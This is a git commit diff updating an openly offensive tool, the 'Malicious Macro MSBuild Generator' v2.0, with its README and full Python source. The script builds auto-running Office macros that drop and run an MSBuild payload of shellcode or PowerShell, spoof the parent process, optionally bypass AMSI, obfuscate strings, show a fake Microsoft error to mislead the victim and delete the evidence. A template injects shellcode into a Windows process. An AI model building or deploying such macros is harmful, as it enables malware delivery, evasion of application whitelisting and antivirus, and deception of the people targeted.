Update MaliciousMacroMSBuild v2.0
parent
081f89e57f
commit
82c6219940
22
README.md
22
README.md
|
@ -1,4 +1,4 @@
|
||||||
# Malicious Macro MSBuild Generator
|
# Malicious Macro MSBuild Generator 2.0
|
||||||
|
|
||||||
## Description
|
## Description
|
||||||
Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.
|
Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.
|
||||||
|
@ -11,12 +11,27 @@ Adversaries can use MSBuild to proxy execution of code through a trusted Windows
|
||||||
|
|
||||||
MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.
|
MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.
|
||||||
|
|
||||||
|
## Changelog
|
||||||
|
* Added Option Macro AMSI Bypass (Thanks to outflank team)
|
||||||
|
* Added PPID Spoofing {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
|
||||||
|
* Added functionality auto removed csproj payload after execution
|
||||||
|
* Added custom msbuild option
|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
```
|
```
|
||||||
usage: M3G.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT
|
/$$ /$$ /$$$$$$ /$$$$$$
|
||||||
|
| $$$ /$$$ /$$__ $$ /$$__ $$
|
||||||
|
| $$$$ /$$$$|__/ \ $$| $$ \__/
|
||||||
|
| $$ $$/$$ $$ /$$$$$/| $$ /$$$$
|
||||||
|
| $$ $$$| $$ |___ $$| $$|_ $$
|
||||||
|
| $$\ $ | $$ /$$ \ $$| $$ \ $$
|
||||||
|
| $$ \/ | $$| $$$$$$/| $$$$$$/
|
||||||
|
|__/ |__/ \______/ \______/
|
||||||
|
|
||||||
M3G - Malicious Macro MSBuild Generator v1.0
|
Malicious Macro MSBuild Generator v2.0
|
||||||
Author : Rahmat Nurfauzi (@infosecn1nja)
|
Author : Rahmat Nurfauzi (@infosecn1nja)
|
||||||
|
|
||||||
|
usage: m3-gen.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT [-a]
|
||||||
|
|
||||||
optional arguments:
|
optional arguments:
|
||||||
-h, --help show this help message and exit
|
-h, --help show this help message and exit
|
||||||
|
@ -26,6 +41,7 @@ optional arguments:
|
||||||
Choose a payload for powershell or raw shellcode
|
Choose a payload for powershell or raw shellcode
|
||||||
-o OUTPUT, --output OUTPUT
|
-o OUTPUT, --output OUTPUT
|
||||||
Output filename for the macro
|
Output filename for the macro
|
||||||
|
-a, --amsi_bypass Macro AMSI Bypass Execute via ms office trusted location
|
||||||
```
|
```
|
||||||
|
|
||||||
## Example
|
## Example
|
||||||
|
|
|
@ -0,0 +1,259 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 2 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
#
|
||||||
|
|
||||||
|
import os, re, sys, base64
|
||||||
|
import random, string, argparse
|
||||||
|
|
||||||
|
def chunks(l, n):
|
||||||
|
for i in xrange(0, len(l), n):
|
||||||
|
yield l[i:i+n]
|
||||||
|
|
||||||
|
def gen_str():
|
||||||
|
return ''.join(random.choice(string.letters) for i in range(random.randint(12,20)))
|
||||||
|
|
||||||
|
def minimize(output):
|
||||||
|
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
|
||||||
|
output = output.replace('\n', '')
|
||||||
|
output = re.sub(r'\s{2,}', ' ', output)
|
||||||
|
output = re.sub(r'\s+([^\w])\s+', r'\1', output)
|
||||||
|
output = re.sub(r'([^\w"])\s+', r'\1', output)
|
||||||
|
|
||||||
|
variables = {
|
||||||
|
'payload' : 'x',
|
||||||
|
'method' : 'm',
|
||||||
|
'asm' : 'a',
|
||||||
|
'instance' : 'o',
|
||||||
|
'pipeline' : 'p',
|
||||||
|
'runspace' : 'r',
|
||||||
|
'decoded' : 'd'
|
||||||
|
}
|
||||||
|
|
||||||
|
for k, v in variables.items():
|
||||||
|
output = output.replace(k, v)
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
def generate_shellcode(filename):
|
||||||
|
shellcode = ''
|
||||||
|
|
||||||
|
if not os.path.exists(filename):
|
||||||
|
print '[!] File Not Found'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
with open(filename) as f:
|
||||||
|
shellcode = bytes(bytearray(f.read()))
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
targetName = gen_str()
|
||||||
|
template = open('templates/MSBuild_shellcode.csproj','r').read()
|
||||||
|
msbuild = template.replace('[SHELLCODE]',base64.b64encode(shellcode)).replace('[TARGETNAME]',targetName)
|
||||||
|
|
||||||
|
return msbuild
|
||||||
|
|
||||||
|
def generate_powershell(filename):
|
||||||
|
powershell = ''
|
||||||
|
|
||||||
|
if not os.path.exists(filename):
|
||||||
|
print '[!] File Not Found'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
with open(filename, 'rb') as f:
|
||||||
|
inp = f.read()
|
||||||
|
powershell += inp
|
||||||
|
|
||||||
|
ps = base64.b64encode(powershell)
|
||||||
|
targetName = gen_str()
|
||||||
|
template = open('templates/MSBuild_powershell.csproj','r').read()
|
||||||
|
msbuild = template.replace('[POWERSHELL]',ps).replace('[TARGETNAME]',targetName)
|
||||||
|
|
||||||
|
return msbuild
|
||||||
|
|
||||||
|
def generate_custom(filename):
|
||||||
|
content = ''
|
||||||
|
|
||||||
|
if not os.path.exists(filename):
|
||||||
|
print '[!] File Not Found'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
with open(filename, 'rb') as f:
|
||||||
|
inp = f.read()
|
||||||
|
content += inp
|
||||||
|
|
||||||
|
return content
|
||||||
|
|
||||||
|
def generate_macro(msbuild_template, amsi_bypass=False):
|
||||||
|
Method = gen_str()
|
||||||
|
Method2 = gen_str()
|
||||||
|
Str = gen_str()
|
||||||
|
Str2 = gen_str()
|
||||||
|
|
||||||
|
msbuild_encoded = base64.b64encode(minimize(msbuild_template))
|
||||||
|
chunk = list(chunks(msbuild_encoded,200))
|
||||||
|
|
||||||
|
macro_str = ''
|
||||||
|
|
||||||
|
if amsi_bypass == True:
|
||||||
|
macro_str += 'Function ' + Method2 + '()\n'
|
||||||
|
# https://github.com/outflanknl/Scripts/raw/master/AMSIbypasses.vba
|
||||||
|
macro_str += ' curfile = ActiveDocument.Path & "\" & ActiveDocument.Name\n'
|
||||||
|
macro_str += ' templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"\n'
|
||||||
|
macro_str += ' ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True\n'
|
||||||
|
macro_str += ' ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled\n'
|
||||||
|
macro_str += ' Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0\n'
|
||||||
|
macro_str += 'End Function\n\n'
|
||||||
|
|
||||||
|
macro_str += "Sub AutoNew()\n"
|
||||||
|
macro_str += ' ' + Method
|
||||||
|
macro_str += '\nEnd Sub\n\n'
|
||||||
|
|
||||||
|
macro_str += 'Function Base64Decode(ByVal vCode)\n'
|
||||||
|
macro_str += ' Dim oXML, oNode\n'
|
||||||
|
macro_str += ' Set oXML = CreateObject("Msxml2.DOMDocument.3.0")\n'
|
||||||
|
macro_str += ' Set oNode = oXML.CreateElement("base64")\n'
|
||||||
|
macro_str += ' oNode.dataType = "bin.base64"\n'
|
||||||
|
macro_str += ' oNode.Text = vCode\n'
|
||||||
|
macro_str += ' Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)\n'
|
||||||
|
macro_str += ' Set oNode = Nothing\n'
|
||||||
|
macro_str += ' Set oXML = Nothing\n'
|
||||||
|
macro_str += 'End Function\n'
|
||||||
|
|
||||||
|
macro_str += '\nPrivate Function Stream_BinaryToString(Binary)\n'
|
||||||
|
macro_str += ' Const adTypeText = 2\n'
|
||||||
|
macro_str += ' Const adTypeBinary = 1\n'
|
||||||
|
macro_str += ' Dim BinaryStream\n'
|
||||||
|
macro_str += ' Set BinaryStream = CreateObject("ADODB.Stream")\n'
|
||||||
|
macro_str += ' BinaryStream.Type = adTypeBinary\n'
|
||||||
|
macro_str += ' BinaryStream.Open\n'
|
||||||
|
macro_str += ' BinaryStream.Write Binary\n'
|
||||||
|
macro_str += ' BinaryStream.Position = 0\n'
|
||||||
|
macro_str += ' BinaryStream.Type = adTypeText\n'
|
||||||
|
macro_str += ' BinaryStream.Charset = "us-ascii"\n'
|
||||||
|
macro_str += ' Stream_BinaryToString = BinaryStream.ReadText\n'
|
||||||
|
macro_str += ' Set BinaryStream = Nothing\n'
|
||||||
|
macro_str += 'End Function\n\n'
|
||||||
|
|
||||||
|
macro_str += 'Function ' + Method + '()\n'
|
||||||
|
|
||||||
|
payload = Str+" = \"" + str(chunk[0]) + "\"\n"
|
||||||
|
|
||||||
|
for chk in chunk[1:]:
|
||||||
|
payload += " "+Str+" = "+Str+" + \"" + str(chk) + "\"\n"
|
||||||
|
|
||||||
|
macro_str += ' ' + payload
|
||||||
|
|
||||||
|
macro_str += '\n Open Environ("PUBLIC") & "\Downloads" & "\{}.csproj" For Output As #1\n'.format(Str2)
|
||||||
|
macro_str += ' Print #1, Base64Decode(' + Str + ')\n'
|
||||||
|
macro_str += ' Close #1\n\n'
|
||||||
|
|
||||||
|
# https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
|
||||||
|
macro_str += ' Set SW = GetObject("n" & "e" & "w" & ":" & Replace("{9BA0###597###2-F6A###8-11CF###-A44###2-00A###0C9###0A8###F3###9}","###","")).Item()\n'
|
||||||
|
macro_str += ' SW.Document.Application.ShellExecute Replace("m###s###b###u###i###l###d###.e###x###e","###",""), Environ("PUBLIC") & "\Downloads" & "\{}.csproj", WhereIs(), Null, 0\n\n'.format(Str2)
|
||||||
|
|
||||||
|
macro_str += ' MsgBox "This application appears to be made on an older version of the Microsoft Office product suite. Visit https://microsoft.com for more information. [ErrorCode: 4439]", vbExclamation, "Microsoft Office Corrupt Application (Compatibility Mode)"\n\n'
|
||||||
|
macro_str += ' WaitUntil = Now() + TimeValue("00:00:15")\n'
|
||||||
|
macro_str += ' Do While Now < WaitUntil\n'
|
||||||
|
macro_str += ' Loop\n'
|
||||||
|
macro_str += ' kill Environ("PUBLIC") & "\Downloads" & "\{}.csproj"\n'.format(Str2)
|
||||||
|
macro_str += 'End Function\n\n'
|
||||||
|
|
||||||
|
if amsi_bypass == True:
|
||||||
|
Method = Method2
|
||||||
|
|
||||||
|
macro_str += 'Sub AutoOpen()\n'
|
||||||
|
macro_str += ' ' + Method
|
||||||
|
macro_str += '\nEnd Sub\n\n'
|
||||||
|
|
||||||
|
macro_str += 'Sub Workbook_Open()\n'
|
||||||
|
macro_str += ' ' + Method
|
||||||
|
macro_str += '\nEnd Sub\n\n'
|
||||||
|
|
||||||
|
macro_str += 'Function FileExists(ByVal FileToTest As String) As Boolean\n'
|
||||||
|
macro_str += ' FileExists = (Dir(FileToTest) <> "")\n'
|
||||||
|
macro_str += 'End Function\n\n'
|
||||||
|
|
||||||
|
macro_str += 'Function WhereIs() As String\n'
|
||||||
|
macro_str += ' Dim business As String\n'
|
||||||
|
macro_str += ' Dim needful As String\n'
|
||||||
|
macro_str += ' Dim location_pw As String\n\n'
|
||||||
|
|
||||||
|
macro_str += ' business = Replace("C:\Win###do###ws\###Micr###osof###t.NET\Fr###amewo###rk\\", "###", "")\n'
|
||||||
|
macro_str += ' needful = Replace("\ms###bu###ild.###exe", "###", "")\n\n'
|
||||||
|
macro_str += ' If FileExists(business & "v4.0.30319\\" & needful) Then\n'
|
||||||
|
macro_str += ' location_pw = business & "v4.0.30319\\"\n'
|
||||||
|
macro_str += ' ElseIf FileExists(business & "v3.5\\" & needful) Then\n'
|
||||||
|
macro_str += ' location_pw = business & "v3.5\\"\n'
|
||||||
|
macro_str += ' End If\n'
|
||||||
|
macro_str += ' WhereIs = location_pw\n'
|
||||||
|
macro_str += 'End Function'
|
||||||
|
|
||||||
|
return macro_str
|
||||||
|
|
||||||
|
|
||||||
|
def output_file(filename,data):
|
||||||
|
output = open(filename,"w")
|
||||||
|
output.write(data)
|
||||||
|
output.close()
|
||||||
|
|
||||||
|
def banner():
|
||||||
|
return """
|
||||||
|
/$$ /$$ /$$$$$$ /$$$$$$
|
||||||
|
| $$$ /$$$ /$$__ $$ /$$__ $$
|
||||||
|
| $$$$ /$$$$|__/ \ $$| $$ \__/
|
||||||
|
| $$ $$/$$ $$ /$$$$$/| $$ /$$$$
|
||||||
|
| $$ $$$| $$ |___ $$| $$|_ $$
|
||||||
|
| $$\ $ | $$ /$$ \ $$| $$ \ $$
|
||||||
|
| $$ \/ | $$| $$$$$$/| $$$$$$/
|
||||||
|
|__/ |__/ \______/ \______/
|
||||||
|
|
||||||
|
Malicious Macro MSBuild Generator v2.0
|
||||||
|
Author : Rahmat Nurfauzi (@infosecn1nja)
|
||||||
|
"""
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
print banner()
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)
|
||||||
|
parser.add_argument('-i','--inputfile', help='Input file you want to embed into the macro', required=True)
|
||||||
|
parser.add_argument('-p','--payload', help='Choose a payload for powershell, raw shellcode or custom', required=True)
|
||||||
|
parser.add_argument('-o','--output', help='Output filename for the macro', required=True)
|
||||||
|
parser.add_argument('-a','--amsi_bypass', help='Macro AMSI Bypass Execute via ms office trusted location', action='store_true')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
inputfile = args.inputfile
|
||||||
|
payload = args.payload
|
||||||
|
output = args.output
|
||||||
|
amsi_bypass = args.amsi_bypass
|
||||||
|
|
||||||
|
msbuild_payload = ''
|
||||||
|
|
||||||
|
if payload.lower() == 'shellcode':
|
||||||
|
msbuild_payload = generate_shellcode(inputfile)
|
||||||
|
elif payload.lower() == 'powershell':
|
||||||
|
msbuild_payload = generate_powershell(inputfile)
|
||||||
|
elif payload.lower() == 'custom':
|
||||||
|
msbuild_payload = generate_custom(inputfile)
|
||||||
|
else:
|
||||||
|
print '[!] Invalid type payload'
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
if msbuild_payload != '':
|
||||||
|
print "[*] Writing msbuild {} payload.".format(payload)
|
||||||
|
macro = generate_macro(msbuild_payload, amsi_bypass)
|
||||||
|
output_file(output,macro)
|
||||||
|
print "[*] {} macro sucessfully saved to disk.".format(output)
|
|
@ -39,7 +39,7 @@
|
||||||
|
|
||||||
byte[] shellcode = System.Convert.FromBase64String(strShellCode);
|
byte[] shellcode = System.Convert.FromBase64String(strShellCode);
|
||||||
|
|
||||||
string processpath = @"C:\Windows\System32\wsmprovhost.exe";
|
string processpath = @"C:\Windows\System32\searchprotocolhost.exe";
|
||||||
STARTUPINFO si = new STARTUPINFO();
|
STARTUPINFO si = new STARTUPINFO();
|
||||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||||
bool success = CreateProcess(processpath, null,
|
bool success = CreateProcess(processpath, null,
|
||||||
|
|
Loading…
Reference in New Issue